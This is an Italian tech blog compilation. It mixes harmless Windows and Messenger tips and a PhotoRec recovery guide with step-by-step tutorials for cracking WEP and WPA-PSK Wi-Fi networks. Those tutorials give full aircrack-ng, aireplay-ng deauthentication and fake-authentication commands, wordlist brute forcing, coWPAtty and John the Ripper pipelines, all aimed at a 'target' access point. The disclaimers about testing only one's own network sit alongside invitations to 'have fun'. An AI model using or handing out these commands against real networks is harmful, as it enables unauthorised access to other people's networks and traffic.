
Li odio sempre di più. Sto parlando dei trilli di MSN Messenger. Si tratta di una nuova funzionalità del programma per attirare l’attenzione del tuo interlocutore facendogli tremare la finestra per farlo rispondere. Ecco come disattivarli.
Aprite MSN Messenger ed andate nel menu Strumenti -> Opzioni:
Spostatevi nella scheda Messaggi e togliete il segno di spunta alla voce Consenti invio e ricezione di trilli:
Un click su OK ed eccoci liberati di questa tortura!
Fonte: http://aranzulla.tecnologia.virgilio.it/disattivare-i-trilli-di-msn-messenger-246.html
mercoledì 3 giugno 2009
Come disattivare i trilli in MSN Messenger
Trilli infiniti: inviare trilli infiniti in Windows Live Messenger
Trilli infiniti: inviare trilli infiniti in Windows Live Messenger
Come si fanno ad inviare trilli infiniti in Windows Live Messenger? E’ una domanda frequentissima che mi fanno molti lettori. Per inviare trilli infiniti in Windows Live Messenger e quindi rimuovere il tempo che deve passare fra un trillo e l’altro, puoi usare semplicemente il programma gratuito A-Patch.
Collegati su questa pagina e fai click sulla voce Download Now sotto la voce A-Patch for Windows Live Messenger per scaricare A-Patch.
Dopo aver scaricato A-Patch, estrai il suo archivio in una cartella del tuo PC e fai doppio click sull’unico programma presente nella cartella estratta. Esso ha un nome simile a A-Patch130rc1b54_WLM.exe. Nella finestra che si apre, seleziona Italiano in Language e fai click su OK.
Nella finestra successiva, seleziona la voce Applica Patch a Messenger e fai click per ben sei volte su Avanti. Nella finestra che si apre, metti un segno di spunta alla voce Rimuovi Intervallo tra Trilli per inviare trilli infiniti. Adesso fai sempre click su Avanti fino a quando non appare il pulsante Applica.
Prima di fare click sul pulsante Applica, chiudi Windows Live Messenger (come da immagine, qui sotto) e solo dopo fai click sul pulsante Applica in A-Patch. Nella finestra di A-Patch che si apre, fai click su OK. Dopo che la modifica è stata fatta, fai click sul pulsante Esci che apparirà in A-Patch.
Si apre Windows Live Messenger ed hai ora la possibilità di mandare trilli infiniti.
e non vuoi che qualcuno ti disturbi mandandoti dei trilli, segui la guida su come disattivare i trilli di Windows Live Messenger.
Fonte: http://aranzulla.tecnologia.virgilio.it/trilli-infiniti-inviare-trilli-infiniti-in-windows-live-messenger-832.html
Temi per Windows: personalizzare XP e Vista con i temi grafici
Temi per Windows: personalizzare XP e Vista con i temi grafici
Non ne posso più di tutte queste barre blu! Questa notte ho addirittura avuto un incubo. Ho sognato che le finestre di Windows XP, che hanno le barre di colore blu, uscivano dal mio computer e iniziavano a danzarmi intorno. Mi sono alzato per la paura e non sono più riuscito ad addormentarmi.
In fin dei conti, dopo tutti questi anni, l’interfaccia grafica di Windows XP mi ha davvero stufato e non la sopporto più (mi fa venire gli incubi!). Perché non darle una bella rinfrescatina? Con un semplice trucco, possiamo personalizzare Windows XP e il nuovo Windows Vista utilizzando i temi, ovvero delle nuove interfacce grafiche. I risultati sono davvero strabilianti: guarda come è diventato il mio Windows XP.
Il seguente articolo è rivolto ad un pubblico esperto e smanettone, che riesce a risolvere gli eventuali problemi che gli si possono presentare durante l’applicazione dello stesso.
Scaricare ed installare il programma cambia-temi
Per cambiare il tema o interfaccia grafica di Windows XP o di Windows Vista, devi installare un programma sul tuo computer. Il procedimento è differente su Windows XP e su Windows Vista.
Scaricare ed installare il programma cambia-temi per Windows XP
Se hai Windows XP, tutto quello che devi fare per avere la possibilità di cambiare il tema grafico è di recarti su questo sito Internet e di cliccare sulla voce UXTheme Multi Patcher 4.0.zip.
Una volta terminato lo scaricamento del file, estrai l’archivio in una cartella qualsiasi del tuo computer ed apri il programma che trovi al suo interno. Nella finestra che si apre, premi il tasto Patch: il programma verrà installato e sarà necessario riavviare il computer al termine dell’installazione.
Durante l’installazione appare un avviso di Windows che ti informa che è stato sostituito un file di sistema e ti chiede se intendi ripristinarlo tramite il CD-Rom di installazione: fai click sul pulsante Annulla. All’avviso seguente, che ti chiede se vuoi conservare una versione non originale dello stesso file di sistema, rispondi con Sì.
Scaricare ed installare il programma cambia-temi per Windows Vista
Anche se hai il nuovo Windows Vista come sistema operativo, puoi cambiare tema grafico utilizzando il programma VistaGlazz, che abilita tale possibilità. Tutto quello che devi fare è recarti su questo sito Internet e cliccare sul pulsante Download NOW!. Nella pagina che si apre, fai nuovamente click su Download Now per scaricare il programma.
Dopo lo scaricamento del file, fai doppio click su di esso per installarlo: devi fare sempre click su Next. Al termine dell’installazione vai su Start/Tutti i Programmi/VistaGlazz e fai click su VistaGlazz.
Nella prima finestra che si apre, fai click su I agree. Adesso clicca sull’icona del computer sulla sinistra e poi sul pulsante Patch files. Per terminare, riavvia il computer.
Come scaricare gratis i temi grafici per Windows
La maggior parte dei siti Internet che offrono temi grafici per Windows sono o a pagamento o ancora peggio veicoli per virus e spyware. Un sito Internet del tutto gratuito da cui scaricare temi grafici per Windows senza alcun rischio per la nostra sicurezza è DeviantART.
Per scaricare i temi grafici per Windows, collegati sull’home page di DeviantART e fai click sul pulsante Categories, situato in alto a sinistra. Nel menu che si apre, fai click su Customization/Skins & Themes/Windows Utilities ed infine su Visual Styles.
Nella pagina che si apre, fai click su All Time. Nella stessa pagina, trovi in alto a destra una barra di ricerca con su scritto search these results e con la quale puoi cercare i temi: digita il nome di un tema e premi il tasto Invio sulla tastiera. Ad esempio, se vuoi rendere la grafica di Windows XP come quella di Windows Vista, digita la parola vista. Vengono mostrati tutti i temi trovati e che soddisfano la tua ricerca.
Una volta individuato il tema che vuoi applicare al tuo Windows, fai click sopra di esso per aprire la sua pagina. I temi per XP e Vista sono differenti: puoi capire per quale sistema operativo è il tema ad occhio o leggendo la sua descrizione. Fai click sulla voce Full View per vedere meglio l’immagine del tema e sulla voce Download per scaricarlo sul computer.
Come applicare i temi scaricati a Windows
Hai scelto un tema e lo hai scaricato sul tuo computer. Per applicare il tema scaricato a Windows, estrai l’archivio in una cartella qualsiasi del tuo computer. Al suo interno puoi trovare o un file chiamato NOMETEMA.msstyles o una cartella con il nome del tema, che contiene al suo interno il file NOMETEMA.msstyles e la cartella Shell.
Sia che utilizzi Windows XP che Windows Vista, apri la cartella C:\Windows\Resources\Themes e copia al suo interno il file NOMETEMA.msstyles, se è presente solo questo nell’archivio estratto, oppure l’intera cartella, che contiene al suo interno il file NOMETEMA.msstyles e la cartella Shell, se è presente quest’ultima nell’archivio estratto,
Dopo aver copiato il file NOMETEMA.msstyles o la cartella che lo contiene, fai doppio click su NOMETEMA.msstyles e poi su Applica nella finestra che si apre per applicare il tema a Windows.
Fonte: http://aranzulla.tecnologia.virgilio.it/temi-per-windows-personalizzare-xp-e-vista-con-i-temi-grafici-910.html
lunedì 1 giugno 2009
Velocizzare lo spegnimento di Windows XP e Vista
Velocizzare lo spegnimento di Windows XP e Vista
Gli utenti che usano Windows XP e Vista sanno che è molto noiso aspettare più di 30 secondi prima che si spenga il pc.
Questo succede perché windows aspetta che tutti i processi in esecuzione siano terminati nell’arco di 20 secondi.
Questo fatto rallenta notevolmente lo spegnimento.
Cambiando questo valore ad esempio a 1 vedremo windows molto ma molto più veloce nello spegnimento.
Vediamo come fare ;)
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
Andiamo in start=>esegui=> e digitiamo regedit.
Adesso andiamo in:
HKEY_CURRENT_USER=>Control Panel=>Desktop
e editiamo:
* “AutoEndTasks” da 0 a 1;
* “HungAppTimeout” da 5000 a 1000;
* “WaitToKillAppTimeout” da 20000 a 1500;
Per rendere effettive le modifiche riavviamo il computer ;)
Fonte:http://www.clshack.it/velocizzare-lo-spegnimento-windows-xp-e-vista
File cancellati accidentalmente? Recuperiamoli con PhotoRec
File cancellati accidentalmente? Recuperiamoli con PhotoRec
Vi sarà sicuramente capitato di cancellare per errore un file molto importante, magari un lavoro a cui avete dedicato molto tempo…in un istante avete pensato di aver perso tutto…non preoccupatevi, da adesso avrete un nuovo utilissimo strumento che vi permetterà di recuperare facilmente i file cancellati!
Il programma in questione si chiama PhotoRec, potete fare il download del programma qui. Il programma ci viene fornito in un unico pacchetto, la sua interfaccia è a riga di comando, ma molto semplice da usare, anche perchè tutto avviene tramite una procedura guidata.
Per quanto riguarda l’installazione di PhotoRec, non è necessaria, almeno se si utilizza la versione precompilata contenuta nel file testdisk-6.10.linux24.tar.bz2 che abbiamo precedentemente scaricato. Apriamo un terminale e spostiamoci nella directory che contiene il pacchetto compresso e scompattiamolo:
tar -xvjf testdisk-6.10.linux24.tar.bz2
Adesso basterà spostarsi nella directory che contiene l’eseguibile photorec-static, quindi da terminale daremo il seguente comando:
cd testdisk-6.10/linux
a questo punto possiamo eseguire il programma direttamente (ricordate di usare il programma da root):
sudo ./photorec_static
Ci apparirà davanti il programma in esecuzione sul terminale. Dopo una breve analisi potremo selezionare il supporto dal quale vogliamo recuperare i file cancellati, lo selezioniamo con le frecce e premiamo su Proceed. Adesso selezioniamo il tipo di struttura (solitamente intel) e premiamo invio. Nella nuova schermata sceglieremo la partizione in cui cercare, selezioniamo Search e premiamo invio. In questa schermata dovremo indicare a photorec il tipo di filesystem utilizzato per formattare il supporto, selezioniamolo con le frecce e premiamo invio. Adesso possiamo scegliere se utilizzare l’intero supporto (Whole) o solo lo spazio libero (Free) e premiamo invio, adesso con i tasti freccia selezioniamo la directory nella quale vogliamo salvare i file trovati e premiamo Y.
Attendiamo che il programma faccia il suo lavoro e al termine avremo una cartella con tutti i file recuperati!!
Vi consiglio di usarlo, data la sua facilità di utilizzo e in quanto non necessita di installazione…non mi resta che augurarvi…BUON RECUPERO FILE!
Installare BackTrack 3 su chiavetta USB
Installare BackTrack 3 su chiavetta USB
Dopo alcune richieste da parte di utenti che volevano seguire le guide che avevo proposto su come craccare le reti wi-fi con chiave WEP e con chiave WPA, ho deciso di scrivere una piccola guida su come installare Backtrack su una penna USB.
Backtrack 3 è la distribuzione che ho usato per fare i vari test quindi creare una chiavetta USB con questa distro è il punto di partenza per poi svolgere tutte le operazioni esposte nelle guide.
Installare Backtrack 3 su una chiavetta USB è molto semplice in quanto è disponibile una versione specifica per queste memorie. Inizialmente dobbiamo scaricare dal sito di Backtrack l’immagine ISO, cerchiamo quindi la riga Description: USB Version (Extended), clicchiamo sulla scritta Click here (accanto a download). Per il download diretto cliccare qui. Una volta terminato il dowload, apriamo un terminale, diventiamo root:
su
oppure
sudo -s
adesso dobbiamo creare il punto di mount per montarla, questo ci servirà per copiare la distribuzione sulla penna USB. Sempre da terminale eseguiamo:
mkdir /mnt/img
montiamo l’ISO nel punto di mount:
mount -t iso9660 -o loop bt3final_usb.iso /mnt/img
Adesso inseriamo la chiavetta nel nostro computer, se viene montata automaticamente…ok…altrimenti da terminale eseguiamo il seguente comando:
mount /dev/sdb1 /media/disk
in questo esempio /dev/sdb1 è il file di dispositivo della penna usb.
Adesso copiamo il contenuto dell’ISO sulla penna, eseguiamo:
cp -a /mnt/img/boot /media/disk
e
cp -a /mnt/img/bt3 /media/disk
rendiamo bootabile la nostra chiavetta, quindi entriamo in /media/disk/boot con:
cd /media/disk/boot
ed eseguiamo:
./bootinst.sh
premiamo due volte invio.
Bene…adesso non ci resta che rivviare il pc con la nostra chiavetta inserita (assicuriamoci che nel BIOS la chiavetta sia impostata come primo dispositivo di boot).
Adesso avete disponibile la vostra Backtrack 3 pronta per essere usata per fare tutti i test di sicurezza delle vostre reti wi-fi.
Per chi non avesse letto i post precedenti, consiglio la lettura di:
Craccare una rete Wi-fi con chiave WPA
Craccare una rete Wi-fi con chiave WEP
Craccare una rete Wi-fi con chiave WEP
Craccare una rete Wi-fi con chiave WEP
Oggi tratterò un argomento un pò particolare…craccare una rete wi-fi con chiave WEP
Prima di tutto tengo a precisare che l’uso che si fa delle conoscenze dipende dalla persona…quindi questa guida non vuole assolutamente incitare nessuno all’uso illegale di queste tecniche, quindi per i vari test che farete vi consiglio di usare la vostra rete wi-fi! In questo modo potrete verificare con quanta facilità si riesce ad avere accesso ad una rete protetta…
Detto questo preambolo d’obbligo…adesso è arrivato il momento di divertirsi….
Ho scelto di utilizzare una distro con già installato tutto quello di cui avremo bisogno: Backtrack 3, ma comunque tengo a precisare che i programmi in questione si possono scaricare nella maggior parte delle distro…quindi nessun problema!
Avviamo la nostra Backtrack in modalità live (per esempio da USB)…possiamo seguire questa guida qua.
I passi da seguire sono i seguenti:
Individuare un bersaglio, rete più debole con protezione più bassa
*
Avviamo Kismet: K–>backtrack–>Radio Network Analysis–>80211–>Analyser–>Kismet
*
Ordiniamo le reti: premiamo S e poi Q , la rete più in alto è quella con il segnale più forte, selezioniamo quella in cima e premiamo invio.
*
Informazioni: comparirà una lunga serie di dati sull’access point. Le linee da leggere sono SSID, BSSID, Channel, Encrypt, per uscire q e poi Q. (consiglio di appuntarsi questi dati)
Impostare la scheda di rete del pc in Monitor Mode (Kismet lo fa in automatico ma se lo chiudiamo dobbiamo farlo manualmente)
*
Apriamo un terminale, eseguimao airmon-ng per individuare l’interfaccia della scheda di rete.
*
Eseguiamo airmon-ng stop eth0 (se è eth0 la vostra interfaccia di rete)
*
Eseguiamo airmon-ng start eth0 11 , così facendo abbiamo abilitato la modalità monitor, 11 è il canale (Channel) utilizzato dall’access point bersaglio, canale che abbiamo scritto precedentemente su un foglio.
Catturiamo il traffico:
*
Eseguiamo: airodump-ng -c 11 -bssid 00:80:5A:47 –ivs -w wep eth0 chiaramente dobbiamo sostituire con i valori appropriati che abbiamo sul nostro pc/access point;
11: numero di canale (Channel)
00:80:5A:47: BSSID dell’access point
–ivs: catturiamo solo i pacchetti iv
wep: suffisso del file (verrà creato un file wep-01.ivs)
*
Adesso dobbiamo tener conto della colonna #Data che sono il numero di iv catturati
Velocizziamo la cattura degli iv (Arp Request Replay)
*
Apriamo una shell senza chiudere quella di airodump-ng, scriviamo il comando:
aireplay-ng -3 -b 00:80:5A:47 -h 00:13:Ce:C6 eth0 , cambiando con i valori appropriati
-3: indica di usare l’attacco arp request replay
00:80:5A:47: MAC address dell’access point
00:13:Ce:C6: MAC del client associato alla rete IMPORTANTE: per conoscere il mac basta usare kismet, premere S e Q, selezionare il bersaglio e premere C
*
Se non ci fossero client dobbiamo falsificarne uno:
ARP Request Replay con Fake Authentication
*
eseguire da terminale:
aireplay-ng -1 0 -e SSID -a BSSID -h MACinterfaccia eth0
con i valori appropriati:
-1:indica al programma di effettuare una fake authentication
0: stabilisce il ritardo tra un attacco e il successivo
SSID:della rete bersaglio
BSSID: della rete bersaglio
MAC:della nostra scheda wi-fi
per acquisire il nostro mac…apriamo un terminale e diamo ifconfig
Per esempio:
aireplay-ng -1 0 -e wireless -a 00:80:5A:47:0B:01 -h 00:13:Ce:C6:05:53 eth0
Quando nella finestra di airodump-ng i pacchetti sono 100.000 possiamo iniziare a craccare.
Apriamo una nuova shell e scriviamo:
*
aircrack-ng -a 1 -b 00:80:5A:47 -n64 wep-01.ivs
con i valori appropriati:
1: protocollo WEP
-n64: ricerca chiavi a 64 bit (se dopo migliaia di iv la chiave non viene trovata rifacciamo senza -64)
Se vogliamo possiamo provare il programma che potrebbe craccare la chiave in due minuti, si chiama: wesside-ng
wesside-ng -i interfaccia -a MAC -v BSSID
con valori appropriati:
interfaccia: la nostra interfaccia di rete
MAC: mac address della scheda
BSSID: access point bersaglio
La scheda deve essere in monitor mode
wifi_falle1Bene! Siamo arrivati alla fine….non vi resta che provare l’emozione di vedere scritto Key Found!!
aspetto suggerimenti e pareri….la prossima volta vedremo di craccare le chiavi WPA!!
Se vuoi vedere all’opera Aircrack ti consiglio di gustarti questo splendido video: Video Aircrack – come craccare una rete Wi-fi con chiave WEP
Video Aircrack – Craccare una rete Wi-fi con chiave WEP
Video Aircrack – Craccare una rete Wi-fi con chiave WEP
Oggi voglio proporti un articolo che sono sicuro sarà di tuo gradimento…
Se hai seguito il mio Blog intuirai sicuramente di cosa parlo… sto parlando dei metodi per decriptare le chiavi delle reti wi-fi.
Craccare una rete Wi-fi con chiave WPA
Craccare una rete Wi-fi con chiave WPA
Innanzitutto dobbiamo dire che il WPA fornisce due diverse modalità di autenticazione: RADIUS e PSK, la prima è praticamente inespugnabile, mentre una WLAN che utilizza PSK (la maggior parte) può essere attaccata tramite la cattura dell’handshake, per fare questo è necessario che almeno un client sia collegato alla rete bersaglio.
Come distro di riferimento useremo anche questa volta Backtrack 3.
Iniziamo a divertirci…
RICORDO A TUTTI CHE QUESTA PRATICA è ILLEGALE, QUESTA E' SOLO UNA DIMOSTRAZIONE DI COME FANNO GLI HACKER, VI ESORTO A NON FARLO.
PRIMO PASSO: CATTURARE L’HANDSHAKE
Innanzitutto dobbiamo mettere la scheda wi-fi in modalità Monitor mode, quindi apriamo un terminale ed eseguiamo:
airmon-ng start eth1 11
chiaramente al posto di eth1 dobbiamo scrivere l’interfaccia della nostra scheda di rete e al posto di 11 inseriamo il canale utilizzato dall’access point bersaglio.
Adesso eseguiamo airodump-ng, con la seguente sintassi:
airodump-ng –bssid [mac address access bersaglio] –channel [numero canale] -w wpa [interfaccia nostra scheda]
Ricordo che per avere informazioni su il MAC Address dell’access point basterà usare Kismet
Adesso dobbiamo attendere…che un client si connetta alla rete,e nel momento in cui accadrà,nella nostra finestra dove abbiamo eseguito airodump-ng comparirà:
WPA handshake: 00:13:ce:c6:05:53
DEAUTENTICAZIONE DI UN CLIENT
L’attacco deve essere rapido e può capitare che nessun client si connetta, in questo caso è possibile forzare la deautenticazione del client cosicchè sarà costretto a riautenticarsi e noi saremo pronti per catturare i dati necessari dell’handshake.
Per far ciò apriamo un terminale (lasciando aperta quella di airodump-ng) ed esguiamo aireplay-ng, adesso è il momento di impiegare un Deauthentication Attack!
Il comando da usare sarà:
aireplay-ng -0 1 -a [BSSID] -c CLIENT eth1
Al posto di BSSID inseriremo il MAC address dell’access point bersaglio e al posto di CLIENT scriveremo l’indirizzo MAC del client. Per individuare ul client basta lanciare Kismet.
Adesso che abbiamo i pacchetti di Handshake non ci resta che individuare la passphrase, per far ciò, il metodo più semplice è quello di fare un attacco a forza bruta.
ATTACCO A FORZA BRUTA
Iniziamo con lo scaricare una wordlist (un elenco che ci aiuterà per rubare la passphrase), per il dizionario italiano, quindi apriamo una shell e digitiamo:
wget ftp://ftp.ox.ac.uk/pub/wordlists/italian/words.italian.Z
Adesso possiamo dare questo file a aircrack-ng insieme al file di handshake.
Apriamo un terminale e scriviamo:
aircrack-ng -b [mac address access bersaglio] -w [percorso completo della wordlist creata prima][file contenente handshake]
Dato che questo metodo sarà molto lento, possiamo vedere di fare qualcosa per velocizzare tutto, precalcolando l’hash. Per fare questo si usa il programma coWPAtty. Adesso dobbiamo generare una tabella degli hash, inserendo l’SSID dell’access point (con Kismet lo troviamo) e un file dizionario (va bene quello che già abbiamo). Adesso possiamo richiamare coWPAtty.
TROVARE LA CHIAVE CON coWPAtty
Apriamo un terminale ed eseguiamo:
cd/pentest/wireless/coWPAtty:’genpmk -s [SSID] -f wordlist -d tabella_hash’.SSID
creata la tabella degli hash eseguiamo coWPAtty:
./cowpatty -d [nome tabella hash] -s [nome rete da attaccare] -r [file con i pacchetti di handshake]
Se la passphrase è composta da una parola comune ma con delle lettere variate,per esempio”casa!”…abbiamo bisogno di un tool che proverà queste permutazioni: John the Ripper
CRACCARE LA RETE CON JOHN THE RIPPER
apriamo un terminale e scriviamo:
john—rules –wordlist=[nome dizionario] –stdout | /pentest/wireless/cowpatty/cowpatty -f- -s [SSDI rete bersaglio] -r [file con handshake]
Prima di tutto tengo a precisare che l’uso che si fa delle conoscenze dipende dalla persona…quindi questa guida non vuole assolutamente incitare nessuno all’uso illegale di queste tecniche, quindi per i vari test che farete vi consiglio di usare la vostra rete wi-fi! In questo modo potrete verificare con quanta facilità si riesce ad avere accesso ad una rete protetta….
craccare-wpaAdesso non vi resta che divertirvi!!
P.s. Non avete letto l’articolo “Come craccare le reti wi-fi con protocollo WEP”? vi consiglio di leggerlo subito per avere un quadro più completo
Test ADSL / Speedtest |
